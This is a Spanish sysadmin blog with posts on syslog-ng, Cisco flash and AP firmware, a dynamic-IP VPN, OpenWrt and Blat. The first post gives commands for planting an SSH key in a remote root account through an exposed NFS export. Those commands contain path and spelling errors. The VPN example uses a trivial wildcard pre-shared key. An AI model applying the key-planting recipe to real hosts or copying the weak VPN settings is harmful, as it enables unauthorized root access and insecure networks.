miércoles, 9 de diciembre de 2015

Vulnerabilidad - conexión remota ssh

VULNERABILIDAD - CONEXIÓN REMOTA SSH SIN HACER LOGUIN:
 
A priori podemos verlo como una vulnerabilidad en ubuntu server y en realidad lo es, pero en este caso lo vamos a interpretar como una forma bastante útil de realizar conexiones SSH sin necesidad de realizar el loguin, es decir de introducir usuario y contraseña. Esto es muy util a la hora de hacer script que automaticen tareas por ejemplo.

Aunque parezca evidente este ejercicio deja rastro por lo que no es conveniente  reproducirlo en una máquina ajena.

Para llevar a cabo esta acción necesitamos los siguientes puertos abiertos y en ningun momento necesitamos conocer ni la contraseña ni acceder a la máquina remota, de ahi que sea una vulnerabilidad.

Para comprobar que estos puertos estan abierto se puede utilizar la aplicación archiconocida NMAP, por lo que en este artículo no nos vamos a detener en el uso de esta aplicación sino que suponemos que efectivamente los siguientes puertos estan abiertos:

                     - Protocolo ssh: 22 ssh
                     - Protocolo rpcinfo 111 rpcbin
                     - Protocolo nfs 2049 nfs

Protocolo rpcinfo según la Wikipedia: RPC (Remote Procedure Call) es un protocolo que permite a un programa de ordenador ejecutar código en otra máquina remota sin tener que preocuparse por las comunicaciones entre ambos

Protocolo nfs según la Wikipedia:NFS (Network File System) es un protocolo de nivel de aplicación […] utilizado para sistemas de archivos distribuidos en un entorno de red”, lo cual permite que diferentes ordenadores compartan carpetas de red.

Comandos:

                     rpcinfo -p IP_REMOTA

                     showmount -e IP_REMOTA

                     ssh-keygen

                     mkdir /temp/test

                     mount -t nfs IP_REMOTA:/ /temp/test/ -o nolock

                     cat ~/.ssh/id_rsa.pub >> /tmp/test/root/.ssh/authorized_keys

                     unmount /tmp/test


Syslog-ng para Firewall Cisco ASA

Organizar syslog-ng para Firewall Cisco ASA:

        Una de las grandes preocupaciones de toda empresa es la de poder estar informado en todo momento que es lo que ocurre en su red. El uso de firewalls como ya sabemos poteje la red local de intentos de intrusión, pero ¿Cómo registrar estos eventos?. En este artículo se aborda el uso de una servidor de syslog, mediante la aplicación de linux Syslog-ng.
Lo que se pretende es dividir el registro en diferentes archivos dependiendo del nivel del reporte del syslog.




Configuración en CISCO ASA:

Para configurar el syslog en el firewall debemos indicar:

            -    La ip del servidor Syslog

            -    Puerto y protocolo de transporte en el que recibirá los datos el servidor Syslog.


logging host Nombre_red IP_Syslog

Fig1: Captura syslog server en cisco ASA


La configuración en el ASA es estandar y no entrama nungun tipo de dificultad, por lo que nos pararemos mucho  en la configuración del syslog en el ASA.
Como se ve en la siguiente figura Fig1 al añadir un servidor Syslog debemos indicar la interfaz en la cual se encuentra el servidor, la ip del servidor, el puerto estandar 514 y el protocolo utilizado (UDP).


 Configuración del Syslog-ng:

Como punto de partida en este documento se ha dispuesto para el servidor Syslog  un servidor Linux dedicado con Ubuntu Server 14.04, el cual por defecto incluye la aplicación Syslog-ng.
Lo primero que debemos hacer es una copia del fichero de seguridad, para ello añadimos este comando mediante consola con permisos de administrador:

/* Creamos carpeta donde almacenar los logs */
mkdir /var/log/ASA/

/*Creamos  una copia sobre el fichero de configuración*/

cd /etc/syslog-ng/syslog-ng.conf
mv syslog-ng.conf syslog-ng.conf.old

/*Creamos un nuevo fichero de configuración de syslog-ng*/

vi syslog-ng.conf 

# Listening to incoming UDP Syslog connections
source mysource { udp(); };

#Add the syslog targets:

/*¿Dónde se almacenarán los log? En la carpeta /var/log/ASA/ y se almacenarán con la fecha actual en el momento de la creación del fichero */

destination dest { file("/var/log/ASA/Cisconotice$YEAR$MONTH$R_DAY.log"); };
destination desterror { file("/var/log/ASA/Ciscoerror$YEAR$MONTH$R_DAY.log"); };
destination destwarm { file("/var/log/ASA/Ciscowarm$YEAR$MONTH$R_DAY.log"); };
destination destcri { file("/var/log/ASA/Ciscocri$YEAR$MONTH$R_DAY.log"); };
destination destalert { file("/var/log/ASA/Ciscoalert$YEAR$MONTH$R_DAY.log"); };
destination destdebug { file("/var/log/ASA/Ciscodegub$YEAR$MONTH$R_DAY.log"); };

/* Se filtrará por niveles mediante el uso de filtros. */
filter myfilter { ( level(notice) ); };
filter myfilterwarning { ( level(warning) ); };
filter myfiltererror { ( level(error) ); };
filter myfiltercrit { ( level(crit) ); };
filter myfilteralert { ( level(alert) ); };
filter myfilterdebug { ( level(debug) ); };


log { source(mysource); filter(myfilter); destination(dest);  };
log { source(mysource); filter(myfiltererror); destination(desterror);  };
log { source(mysource); filter(myfiltercrit); destination(destcri);  };
log { source(mysource); filter(myfilterwarning); destination(destwarm);  };
log { source(mysource); filter(myfilteralert); destination(destalert);  };
log { source(mysource); filter(myfilterdebug); destination(destdebug);  };


Arrancamos el servicio mediante el comando:
service syslog-ng restart

Como resultado obtenemos:




Como se puede observar en la captura los ficheros se almacenan con el nombre que hemos apuntado en el archivo de configuración syslog-ng.conf.

En el próximo log mostraré como realizar una rotación de ficheros mediante el uso de logrotate.


lunes, 25 de agosto de 2014

BORRAR FICHEROS EN MEMORIA FLASH CISCO:


La memoria flash de cisco es la memoria donde almacenamos en forma de ficheros y directorios la versión IOS, la configuración startup y diversos ficheros.

Dependiendo de si queremos borrar directorios o ficheros se deberá usar uno u otrocomando. En este ejemplo borraremos un directorio y un fichero:

LISTAR FICHEROS Y DIRECROTIO EN FLAFH.

AP0023.5e04.a102#dir
Directory of flash:/

    2  -rwx        6168  Aug 25 2014 10:25:18 +00:00  private-multiple-fs
    3  drwx           0   Mar 1 2002 00:00:32 +00:00  configs
    6  drwx         256  Aug 25 2014 07:45:13 +00:00  c1240-k9w8-mx.124-23c.JA3 [DIRECTORIO]
  154  -rwx           5   Mar 6 2002 02:15:49 +00:00  private-config
    4  -rwx         363  Aug 25 2014 10:25:17 +00:00  env_vars
   11  -rwx       97136  May 21 2014 05:21:57 +00:00  event.log [FICHERO]

BORRAR FICHERO EN FLASH 

AP0023.5e04.a102#delete event.log


Si utilizamos el mismo comando para borrar un directorio nos dará un error:

AP0023.5e04.a102#delete c1240-k9w8-mx.124-23c.JA3
Delete filename [c1240-k9w8-mx.124-23c.JA3]?
Delete flash:/c1240-k9w8-mx.124-23c.JA3? [confirm]
%Error deleting flash:/c1240-k9w8-mx.124-23c.JA3 (Is a directory)






BORRAR FICHERO EN FLASH

 Utilizaremos el comando rmdir aunque si el directorio no esta vacío nos dará un error:

AP0023.5e04.a102#rmdir flash:/c1240-k9w8-mx.124-23c.JA3
Remove directory filename [c1240-k9w8-mx.124-23c.JA3]?
Delete flash:/c1240-k9w8-mx.124-23c.JA3? [confirm]
%Error Removing dir flash:/c1240-k9w8-mx.124-23c.JA3 (Directory not empty)

Para solucionarlo:
AP0023.5e04.a102#delete /force /recursive flash:/c1240-k9w8-mx.124-23c.JA3



AP0023.5e04.a102#dir
Directory of flash:/

    2  -rwx        6168  Aug 25 2014 10:25:18 +00:00  private-multiple-fs
    3  drwx           0   Mar 1 2002 00:00:32 +00:00  configs
  154  -rwx           5   Mar 6 2002 02:15:49 +00:00  private-config
    4  -rwx         363  Aug 25 2014 10:25:17 +00:00  env_vars

15740928 bytes total (15634944 bytes free)

COMO ACTUALIZAR CISCO FIRMWARE IOS DESDE AP CLIENTE LIGERO A AP AUTÓNOMO



COMO ACTUALIZAR CISCO FIRMWARE IOS DESDE AP CLIENTE LIGERO A AP AUTÓNOMO:

Servidor TFTP

                Utilizaremos el servidor tftp:
                http://tftpd32.jounin.net/tftpd32_download.html
1.       Creamos carpeta en c:/ llamada TFTP. Donde copiamos la IOS de cisco.
2.       Abrimos el programa:

FIRMWARE IOS

-          K9W7: IOS AP autónomos
-          K9W8: IOS Cliente ligero completa
-          rcvK9W8    IOS Cliente ligero que viene instalada por defecto.

Para la conversión de un punto de acceso de cliente ligero a autónomo necesitamos una versión de IOS K9W7.

Para convertir el AP a autónomo el primer paso es tener conectividad entre el AP y el PC. Para ello es imprescindible que el AP disponga de un IP.

Para configurar una Ip en un punto de acceso en modo cliente ligero:
 CLI:
Mediante la controladora WLC:

Para comprobar la conectividad entre dispositivo realizaremos un ping:
IP AP: 10.1.1.2
IP PC: 10.1.1.3
IP ROUTER: 10.1.1.1


AP0023.5e04.a102#debug capwap console cli
This command is meant only for debugging/troubleshooting
Any configuration change may result in different
behavior from centralized configuration.

CAPWAP console CLI allow/disallow debugging is on
AP0023.5e04.a102#


AP0023.5E04.822F#conf t
AP0023.5E04.822F (config)#ip default-gateway 10.1.1.1
AP0023.5E04.822F (config)#interface fast 0
AP0023.5E04.822F (config-if)#ip address 1.1.1.2  255.255.255.0 (No es necesario a no ser que el pc y el ap esten en distinta red)
AP0023.5E04.822F (config-if)#no sh
AP0023.5E04.822F # archive download-sw /force-reload /overwrite tftp://10.1.1.3/c1240-k9w7-tar.124-25d.JA.tar


AP0023.5e04.a102#$ite tftp://10.19.200.220/c1240-k9w7-tar.124-25d.JA.tar
examining image...
Loading c1240-k9w7-tar.124-25d.JA.tar from 10.19.200.220 (via FastEthernet0): !!!!!!!!!!!!!!!!!!!





Referencia: http://mrncciew.com/2012/10/20/lightweight-to-autonomous-conversion/

martes, 7 de enero de 2014

CONFIGURAR UNA VPN CON IP PÚBLICA DINÁMICA EN CISCO:

CONFIGURAR UNA VPN CON IP PÚBLICA DINÁMICA EN CISCO:




crypto isakmp policy 11
    encr 3des
    hash md5
    authentication pre-share
    group 2

crypto isakmp key 123456 address 0.0.0.0 0.0.0.0

crypto ipsec transform-set ipdynamic esp-3des esp-md5-hmac

crypto dynamic-map sucursal-vpn 100
    descriptionVPN IP pública
    set security-association lifetime seconds 86400
    set transform-set ipdynamic
    match address 100

crypto map vpn 100 ipsec-isakmp dynamic sucursal-vpn

interface Dialer0
    crypto map vpn

access-list 100 permit ip 192.168.1.0 0.0.0.255 10.1.1.0 0.0.0.255

miércoles, 11 de diciembre de 2013

ERROR AL ACTUALIZAR OPENWRT " OPKG UPDATE"

ERROR AL ACTUALIZAR  OPENWRT

 === IMPORTANT ============================
  Use 'passwd' to set your login password
  this will disable telnet and enable SSH
 ------------------------------------------


BusyBox v1.15.3 (2010-03-28 21:16:56 CEST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

  _______                     ________        __
 |       |.-----.-----.-----.|  |  |  |.----.|  |_
 |   -   ||  _  |  -__|     ||  |  |  ||   _||   _|
 |_______||   __|_____|__|__||________||__|  |____|
          |__| W I R E L E S S   F R E E D O M
 BackFire (10.03-rc3, r20642) ----------------------
  * 1/3 shot Kahlua    In a shot glass, layer Kahlua
  * 1/3 shot Bailey's  on the bottom, then Bailey's,
  * 1/3 shot Vodka     then Vodka.
 ---------------------------------------------------


Para actualizar  comprobamos nuestra conexión a internet

root@OpenWrt:/# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: seq=0 ttl=47 time=321.384 ms
^C
--- 8.8.8.8 ping statistics ---
2 packets transmitted, 1 packets received, 50% packet loss
round-trip min/avg/max = 321.384/321.384/321.384 ms


root@OpenWrt:/# opkg update
Downloading http://downloads.openwrt.org/backfire/10.03-rc3/brcm63xx/packages/Pa                                                                             ckages.gz.

Da un error:

root@OpenWrt:/#  vi /etc/opkg.conf

src/gz packages http://downloads.openwrt.org/backfire/10.03-rc3/brcm63xx/packages
dest root /
dest ram /tmp
lists_dir ext /var/opkg-lists
option overlay_root /overlay

sustiuir la primera linea por:

src/gz packages http://downloads.openwrt.org/backfire/10.03.1/brcm63xx/packages

Reiniciar.

root@OpenWrt:/# reboot

martes, 10 de diciembre de 2013

CONFIGURAR A CUALQUIER ISP DE CORREO; BLAT ERROR en "emailblat.cmd"

CONFIGURAR A CUALQUIER ISP DE CORREO;  BLAT ERROR en "emailblat.cmd" 


Instalar Blat:

Descargar ZIP desde la página oficial.

En mi caso lo quiero para enviar mail a mi servidor de correo ISP para el gestor SNMP The dude de Mikrotik.

Crear una carpeta llamada bla en: 

 c:\Program Files\Dude\

Descomprime el .zip en la carpeta que acabas de crear blat


Crea un archivo llamado emailblat.cmd
set dir=c:\Program Files\Dude\blat
set smtpsender=miemail@iswinet.com
set smtpserver=smtp.miISP.com
set smtpport=25
set smtpuser=miemail@iswinet.com
set smtppwd=PASSWORD
set mailto=miemail@iswinet.com

"%dir%\blat.exe" -to %mailto% -f %smtpsender% -server %smtpserver% -port %smtpport% -u %smtpuser% -pw %smtppwd% -subject %1 -body %2


PRUEBA 1:


c:\Program Files\Dude\blat>emailblat.cmd
"emailblat.cmd" no se reconoce como un comando interno o externo,
programa o archivo por lotes ejecutable.

c:\Program Files\Dude\blat>emailblat.cmd

c:\Program Files\Dude\blat>set dir=c:\Program Files\Dude\blat

c:\Program Files\Dude\blat>set smtpsender=miemail@iswinet.com

c:\Program Files\Dude\blat>set smtpserver=smtp.miISP.com

c:\Program Files\Dude\blat>set smtpport=25

c:\Program Files\Dude\blat>set smtpuser=miemail@iswinet.com

c:\Program Files\Dude\blat>set smtppwd=CONTRASEÑA

c:\Program Files\Dude\blat>set mailto=miemail@iswinet.com



ERROR PRUEBA 1

c:\Program Files\Dude\blat>emailblat.cmd
"emailblat.cmd" no se reconoce como un comando interno o externo,
programa o archivo por lotes ejecutable.


Para solucionarlo:
       Panel de control> Opciones de carpeta > VER
       Quitar la opción Ocultar la extensiones de archivo para tipos de archivos conocidos.
       Te aparecerá "emailblat.cmd.txt"
       Renombra el archivo: "emailblat.cmd"